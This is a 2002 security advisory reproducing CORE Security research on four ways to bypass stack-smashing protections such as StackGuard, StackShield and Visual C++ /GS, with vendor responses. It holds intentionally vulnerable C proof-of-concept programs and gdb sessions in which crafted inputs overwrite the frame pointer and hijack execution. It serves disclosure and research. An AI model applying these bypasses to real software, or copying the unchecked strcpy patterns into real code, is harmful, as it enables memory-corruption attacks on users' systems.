26th Sep 2002 [SBWID-5309]
COMMAND
	Protected stack discussion and exploit
SYSTEMS AFFECTED
	All
PROBLEM
	In CORE SECURITY TECHNOLOGIES whitepaper [http://www.corest.com] :
	In the past  years,  several  technologies  (in  the  form  of  software
	packages) have been developed to protect programs  against  exploitation
	of buffer overflow vulnerabilities. These technologies aim at  detecting
	and preventing the execution of hostile code  that  takes  advantage  of
	software security vulnerabilities by overwriting a critical  portion  of
	a running program's memory known as the stack.
	The techniques used to exploit this type of  vulnerabilities  have  been
	discussed at length in the past years and, although they have been  used
	for years in malicious code, notably the famous Robert  T.  Morris  worm
	in 1988 [1], were initially introduced  to  the  security  community  at
	large in the  pioneering  articles  "Smashing  the  stack  for  fun  and
	profit" [2] writen by Aleph1 and "How  to  write  buffer  overflows"  by
	Mudge.[3]
	Technologies to detect and prevent "stack smashing"  exploit  code  were
	presented thereafter, notably at the  1998  USENIX  Security  conference
	[4].
	"Stack shielding"  software  have  been  developed  on  the  promise  of
	preventing exploitation of buffer  overflow  vulnerabilities  that  make
	use of the stack smashing techniques.
	Several other techniques to exploit buffer overflows that  DO  NOT  make
	use of stack  overwriting  or  code  execution  on  the  stack  have  be
	presented during the past years.
	Techniques that exploit  vulnerabilities  by  overwriting  or  otherwise
	abusing other memory portions of a  running  program  are  described  in
	Solar Designer's "Getting around non-executable stack  (and  fix)"  [5],
	"Advanced return-into-lib(c) exploits(PaX case study)" [6]  and  "w00w00
	on Heap Overflows" [7].
	However, for the purpose of this advisory we will  focus  on  the  stack
	protection mechanisms and claim the current technologies do not  provide
	adecuate protection:
	Stack shielding protections have been missunderstood, they only  protect
	a particular type of stack smashing exploitation, namely return  address
	overwrites, NOT generic stack smashing attacks as they claim.
	This has been demostrated in the past, as in "Bypassing  StackGuard  And
	StackShield" [8]  and  "Vulnerability  in  ImmuniX  OS  Security  Alert:
	StackGuard 1.21 Released" [9]
	We studied the three most visible "stack shielding" technologies:
	 -Wirex StackGuard (http://www.immunix.com) and
	 -StackShield (http://www.angelfire.com/sk/stackshield/download.html)
	 -Stack Smashing Protection (SSP, formerly ProPolice), from Hiroaki Etoh
	  (http://www.trl.ibm.com/projects/security/ssp/)
	As well as  the  recently  introduced  /GS  stack  protecting  mechanism
	incorporated into Microsoft's Visual C++ .NET  as  part  of  the  Visual
	Studio .NET product family. Information about the  feature  and  details
	on       how       it       works        are        available        at:
	http://go.microsoft.com/fwlink/?LinkId=7260
	We discovered that all of them present basic design limitations as  well
	as some implementation flaws.
	Our conclusion is that although "stack shielding"  technologies  present
	a valuable mean to prevent  execution  of  certain  forms  of  malicious
	code, those technologies should not be thought  as  a  solution  to  the
	problem of buffer overflow vulnerabilities in general and not even as  a
	solution to some simple stack smashing techniques used to exploit  those
	vulnerabilities.
	Stack shielding mechanims do not suffice to ameliorate  the  effects  of
	badly written software and could give  a  false  sense  of  security  of
	devastating effects, if not considered as part  of  a  general  security
	strategy that includes secure design methodologies,  secure  programming
	practices, strict and well defined security testing  processes  and  the
	implementation of fixes and patches  as  well  as  the  use  of  ad  hoc
	technologies  to  prevent  exploitation  of  existing   vulnerabilities,
	publicy known or otherwise.
	*Vulnerable Packages:*
	 - StackShield up to, and including, v0.7-beta  is vulnerable to #1, #3 and
	#4
	 - StackGuard  1.2  and 2.0.1 (included in Immunix 7.0) is vulnerable to all
	   the described methods.
	 - StackGuard 1.21 is not vulnerable to #2
	   Other StackGuard versions were not tested and are suspected to be
	   vulnerable as well.
	 - Programs compiled with Microsoft Visual C++ .NET /GS compiler switch are
	   still exploitable  by using techniques described in problem #1.
	Exploitation using #2, #3 and #4 is only possible if  the  attacker  can
	guess or bruteforce the correct value of the "cookie", the existence  of
	heuristics for doing that are not in the scope of this advisory.
	 - SSP (ProPolice) is NOT vulnerable to any of the described exploitation 
	   methods.
	*Credits:*
	This vulnerabilities were discovered and researched by Gerardo  Richarte
	from  CORE  Security  Technologies.  Pionering  work  and   ideas   were
	introduced by Richarte and many others (see the references  section)  in
	various information security mailing lists and publications as far  back
	as 1999. We wish to thank Crispin  Cowan  and  Seth  Arnold  from  Wirex
	(Immunix) for their quick response addressing this report.
	*Technical Description - Exploit/Concept Code*
	As stated previously, we have identified two  basic  design  limitations
	in the current stack smashing technologies:
	First, they only protect  data  located  in  memory  "above"  the  first
	safeguarded address.
	Second, (and we think this is  a  more  serious  limitation)  they  only
	check for attacks after the called vulnerable function  finishes,  right
	before returning from it so exploitation is possible BEFORE exiting  the
	vulnerable function.
	In addition to this, StackGuard and StackShield have  an  implementation
	flaw:
	They protect the stack starting  at  the  return  address,  leaving  the
	saved frame pointer unprotected.
	In our study we found four different tricks  to  bypass  stack  smashing
	protections, the first one is an extension  of  that  described  in  the
	previously refered articles  and  is  a  direct  consecuence  of  design
	limitations.  The  other  three  result  from  abusing   frame   pointer
	overwrites, and  may  be  corrected  introducing  some  changes  in  the
	protection mechanisms.
	
	1) Control of function's arguments
	
	In [8] and [9] a method to  exploit  stack  based  buffer  overflows  on
	stack protected programs is presented. In the example, a  local  pointer
	is used to write to arbitrary  memory  locations  within  the  program's
	memory space. This technique can be extended to exploit  the  fact  that
	in standard C compiled programs, function arguments are located  in  the
	stack at "higher" addresses than the return address:
	
	  lower addresses
	        [   local variables    ]
	        [ saved frame pointer  ]
	        [ CANARY (0x000dff0a)  ]
	        [    return address    ]
	        [ function's arguments ]
	  higher addresses
	
	Controlling functions arguments can effectively turn a  stack  protected
	function into an exploitable program by turning  the  arguments  into  a
	"write-anything-anywhere" primitive. Once the attacker has  the  ability
	to "write anything, anywhere" it is trivial to bypass  stack  protection
	mechanisms.
	 The following program will function as proof of concept code:
	
	gera@vaiolent:~src/sg/tests$ cat >sg1.c <<_EOF_
	/* sg1.c                                                   *
	 * specially crafted to feed your brain by [email protected] */
	int func(char *msg) {
	    char buf[80];
	    strcpy(buf,msg);
	    // toupper(buf);        // here just to give func() "some sense"
	    strcpy(msg,buf);
	}
	int main(int argv, char** argc) {
	        func(argc[1]);
	}
	_EOF_
	gera@vaiolent:~src/sg/tests$ make sg1
	cc     sg1.c   -o sg1
	gera@vaiolent:~src/sg/tests$ gdb sg1
	GNU gdb 19990928
	Copyright 1998 Free Software Foundation, Inc.
	(gdb) p "Tests performed on Immunix 7.0, for StackShield remove "Cnry"
	(gdb) r
	aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
	aaaaaaaa_EBPCnry_RETbbbb
	(gdb) bt
	#0  0x40094154 in strcpy () from /lib/libc.so.6
	#1  0x8048469 in func ()
	(gdb) x/3i $pc-3
	0x40094151 <strcpy+17>: mov    (%edx),%al
	0x40094153 <strcpy+19>: inc    %edx
	0x40094154 <strcpy+20>: mov    %al,(%ecx,%edx,1)
	(gdb) x/s $edx
	0xbffff95d: 'a' <repeats 79 times>, "_EBPCnry_RETbbbb"
	(gdb) p/x $ecx+$edx
	$2 = 0x62626262
	(gdb) p "Now we can write anything anywhere"
	
	
	2) Returning with an altered frame pointer
	
	In standard frame pointer overwrite exploits [10], control over the  the
	frame pointer is gained after  the  first  return  from  the  vulnerable
	function. Shortly before a second return  control  is  gained  over  the
	execution flow of the vulnerable program, since  the  attacker  can  now
	control the stack  pointer  and  therefore  the  address  of  where  the
	function will return to.
	Using this technique against stack protected programs does not  lead  to
	staight  foward  exploitation   of   vulnerabilities,   however   design
	limitations can provide an effective way to use  it.  In  this  case  we
	will use  StackGuard's  protection  as  an  example  of  exploitability.
	StackGuard uses a protection mechanism called "terminator  canary"  that
	prevents  overwriting  the  return  address.  However  an  attacker  can
	overwrite *up to the terminator canary without modifying  it*  and  thus
	gain control over the frame pointer.
	 The following program serves as a proof of concept code:
	
	gera@vaiolent:~src/sg/tests$ cat >sg2.c <<_EOF_
	/* sg2.c                                                   *
	 * specially crafted to feed your brain by [email protected] */
	void func(char *msg) {
	    char buf[80];
	    strcpy(buf,msg);
	}
	int main(int argv, char** argc) {
	    func(argc[1]);
	}
	_EOF_
	gera@vaiolent:~src/sg/tests$ make sg2
	cc     sg2.c   -o sg2
	gera@vaiolent:~src/sg/tests$ gdb sg2
	GNU gdb 19990928
	Copyright 1998 Free Software Foundation, Inc.
	(gdb) p "To type ^J you need to press Ctrl-V Ctrl-J, you may not see ^J,
	it's ok"
	(gdb) r
	"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
	aaaaaaaaa`echo -e '1111\x0d\xff'`^J
	" "`echo -e 'BBBB\x0d\xff'`^J
	" "`echo -e 'BBBB\x0d\xff'`^J
	"
	Program received signal SIGSEGV, Segmentation fault.
	0x80486b1 in main ()
	(gdb) x/i $pc
	0x80486b1 <main+25>:     leave
	(gdb) p/x $ebp
	$2 = 0x31313131
	(gdb) x/20x $sp
	...
	...
	0xbffffc5c:      0x42424242      0x000aff0d      ...
	(gdb) p "You need to locate 0x42424242 in stack (0x42424242 corresponds to
	'BBBB')
	(gdb) p "Now run it again changin '1111' for the address you just found"
	(gdb) r
	"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
	aaaaaaaaa`echo -e '\x5c\xfc\xff\xbf\x0d\xff'`^J
	" "`echo -e 'BBBB\x0d\xff'`^J
	" "`echo -e 'BBBB\x0d\xff'`^J
	"
	
	Program received signal SIGSEGV, Segmentation fault.  0x42424242  in  ??
	() (gdb) p "As you can see, we hooked the execution flow"
	
	3) Further control over local variables
	
	Overwriting the least significant byte in the frame  pointer  with  zero
	(0x00) will move it at most 255 bytes ahead into  stack  space.  Usually
	this is exploited by making the new stack have  a  new  return  address,
	but that would be detected or ignored on stack shielded programs.
	However, what an attacker can  do  is  control  the  last  byte  of  the
	caller's  frame  pointer,  effectively  controlling  all  of  its  local
	variables and function's arguments. As we showed in #1 this can lead  to
	direct bypassing of the stack protection mechanisms.  In  this  case  we
	expand the technique described in #1 and realize that  an  attacker  can
	control all the local variables and arguments of the  *caller  function*
	without modifying any return address or canary.
	 The following program serves as a proof of concept code:
	
	gera@vaiolent:~src/sg/tests$ cat >sg3.c <<_EOF_
	/* sg3.c                                                   *
	 * specially crafted to feed your brain by [email protected] */
	char *read_it() {
	    char buf[256];
	    buf[read(0,buf,sizeof buf)]=0;
	    return strdup(buf);
	}
	int main(int argv, char **argc) {
	    char *msg = malloc(1000);
	    snprintf(msg,999,"User: %s",read_it());
	}
	_EOF_
	gera@vaiolent:~src/sg/tests$ make sg3
	cc     sg3.c   -o sg3
	gera@vaiolent:~src/sg/tests$ ulimit -c 1111111111
	gera@vaiolent:~src/sg/tests$ perl -e 'print "A"x256' | ./sg3
	Segmentation fault (core dumped)
	gera@vaiolent:~src/sg/tests$ gdb sg3 core
	GNU gdb 19990928
	Copyright 1998 Free Software Foundation, Inc.
	#0  _IO_vsnprintf (string=0x41414141 <Address 0x41414141 out of bounds>,
	    maxlen=999, format=0x8048922 "User: %s", args=0xbffffac4)
	    at vsprintf.c:127
	127     vsnprintf.c: No such file or directory.
	(gdb) p "If you take a look an vsnprintf() arguments, you'll see we can
	write anywhere in memory."
	
	This example is valid for  StackGuard  and  StackShielded  programs.  If
	StackShield is used with the  option  to  terminate  execution  when  an
	attack is detected, we only need  to  set  as  new  return  address  the
	original return address, so it doesn't detect a change.
	
	4) Pointing the caller's frame to the Global Offset Table (GOT)
	
	Finally, this technique is a variation a bit more complex than what  was
	presented  before.  In  standard  compiled  C  code,  when   not   using
	-fomit-frame-pointer compiler switch in  GCC  or  equivalents  in  other
	compilers, all local  variables  are  accessed  relative  to  the  frame
	pointer, then if an  attacker  gains  full  control  over  it,  she  can
	arbitrarly choose where in memory local variables are  placed,  this  is
	the  trick  used  in  #3  but  a   slight   variation   introduces   new
	posibilities.
	By using control over the frame pointer to  place  local  variables  and
	function arguments on the Global Offest  Table  memory  space  (OR  MANY
	OTHER MEMORY PORTIONS, i.e.  heap  allocated  memory)  an  attacker  can
	effectively  exploit  vulnerable  programs  bypassing  stack  protection
	mechanisms.
	The following program serves as a proof of concept code:
	
	gera@vaiolent:~src/sg/tests$ cat >sg6.c <<_EOF_
	/* sg6.c                                                   *
	 * specially crafted to feed your brain by [email protected] */
	// XXX: Add real encryption here
	#define decrypt(dest,src)     strcpy(dest,src)
	int is_new_user = 0;
	int get_username(char *user) {
	        char temp[80];
	        decrypt(temp,user);
	        // XXX: add some real checks in the future
	        if (strcmp(temp,"gera")) is_new_user = 1;
	        return strdup(temp);
	}
	int main(int argv, char **argc) {
	    char *user_name;
	    user_name = get_username(argc[1]);
	    return 0;
	}
	_EOF_
	gera@vaiolent:~src/sg/tests$ make sg6
	cc     sg6.c   -o sg6
	gera@vaiolent:~src/sg/tests$ gdb sg6
	GNU gdb 19990928
	Copyright 1998 Free Software Foundation, Inc.
	(gdb) p "To type ^J you need to press Ctrl-V Ctrl-J, you may not see ^J,
	it's ok"
	(gdb) r
	"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
	aaaaaaaaaBBBB`echo -e '\x0d\xff'`^J
	"
	Program received signal SIGSEGV, Segmentation fault.
	0x8048750 in main ()
	(gdb) x/i $pc
	0x8048750 <main+28>:    mov    %eax,-4(%ebp)
	(gdb) p/x $ebp
	$1 = 0x62626262
	(gdb) x/s $eax
	0x80499f0:        'a' <repeats 80 times>, "bbbb\r�\n"
	(gdb) p "And now, we are ready to write-anything-anywhere"
	
	 The same comments as in 3) regarding StackShield exploitation applies.
	Microsoft's /GS protection mechanism is vulnerable to #1 but it  is  not
	straight forward to use any of  the  other  3  methods  of  exploitation
	because the frame pointer is protected with a random  canary  (known  as
	"COOKIE" in Microsoft documentation). The cookie  is  generated  in  the
	seccinit.c file of the CRT source files and  provided  with  Visual  C++
	.NET platform.
	StackGuard  v1.21  introduced  the  use  of  a  random  XOR  canary  for
	protection, but this  option  is  not  present  on  v2.0.1  (as  checked
	browsing source code). While the  random  XOR  canary  protection  would
	have made some of the attacks (#3 and #4) not so  straight  forward,  it
	is still possible to abuse the design limitations and bypass  protection
	if a brute force approach is taken covering all possible  values  for  a
	one byte change of the random canary value, this gives  the  attacker  a
	1/256 chance of  bypassing  the  protection,  more  than  enough  for  a
	sucessfull attack in most cases.
	Note that using an XOR canary as  in  StackGuard  1.21,  problem  #2  is
	prevented.
	StackShield up to 0.7beta does not appear to be vulnerable to #2 but  it
	is vulnerable to the other explotation techniques.
	A detailed paper describing the protection mechanisms  and  all  of  our
	findings will be  made  available  shortly  after  publication  of  this
	advisory at http://www.corest.com/corelabs/papers
	*References*
	
	[1] - The Morris Worm -
	      http://www.wikipedia.com/wiki/Morris+Worm
	[2] - Smashing the stack for fun and profit - Aleph1
	      http://community.corest.com/~juliano/bufo.html
	    (English - Spanish -Rusian)
	[3] - How to write buffer overflows - Mudge.
	      http://community.corest.com/~juliano/l0pht-howtowrite-bof.html
	[4] - Automatic Detection and Prevention of Buffer-Overflow Attacks
	      Crispin Cowan, Calton Pu, David Maier, Heather Hinton, Peat Bakke,
	      Steve Beattie, Aaron Grier, Perry Wagle, and Qian Zhang,
	      7th USENIX Security Symposium
	      http://www.immunix.org/StackGuard/usenixsc98.pdf
	[5] - Getting around non-executable stack (and fix) - Solar Designer
	      http://online.securityfocus.com/archive/1/7480
	[6] - The advanced return-into-lib(c) exploits: PaX case study - Nergal
	      http://www.phrack.com/show.php?p=58&a=4
	[7] - w00w00 on Heap Overflows - Shock and w00w00
	      http://www.w00w00.org/files/articles/heaptut.txt
	[8] - Bypassing StackGuard And StackShield - Bulba and Kil3r
	      http://www.phrack.org/show.php?p=56&a=5
	[9] - Vulnerability in ImmuniX OS Security Alert: StackGuard 1.21 Released -
	      Gerardo Richarte
	      http://online.securityfocus.com/archive/1/34225
	[10]- The Frame Pointer Overwrite - klog
	      http://www.phrack.com/show.php?p=55&a=8
	
SOLUTION
	 Wirex's Immunix StackGuard.
	 Wirex offical response is:
	 The upcoming next release of StackGuard,version 3.0 fixes problems #2, #3
	 and #4 by moving the terminator canary to a position between the frame
	 pointer  and all local variables.
	 Problem #1 is not part of StackGuard's threat model, that is StackGuard is
	 not designed to protect against exploitation before the vulnerable function
	 exits.
	 Microsoft Visual Studio .NET /GS
	 Refer to Microsoft's white paper describing the design and implementation
	 of the /GS switch:  http://go.microsoft.com/fwlink/?LinkId=7260
	 StackShield
	 N/A
	 ProPolice/SSP
	 SSP is NOT vulnerable to any of the problems described.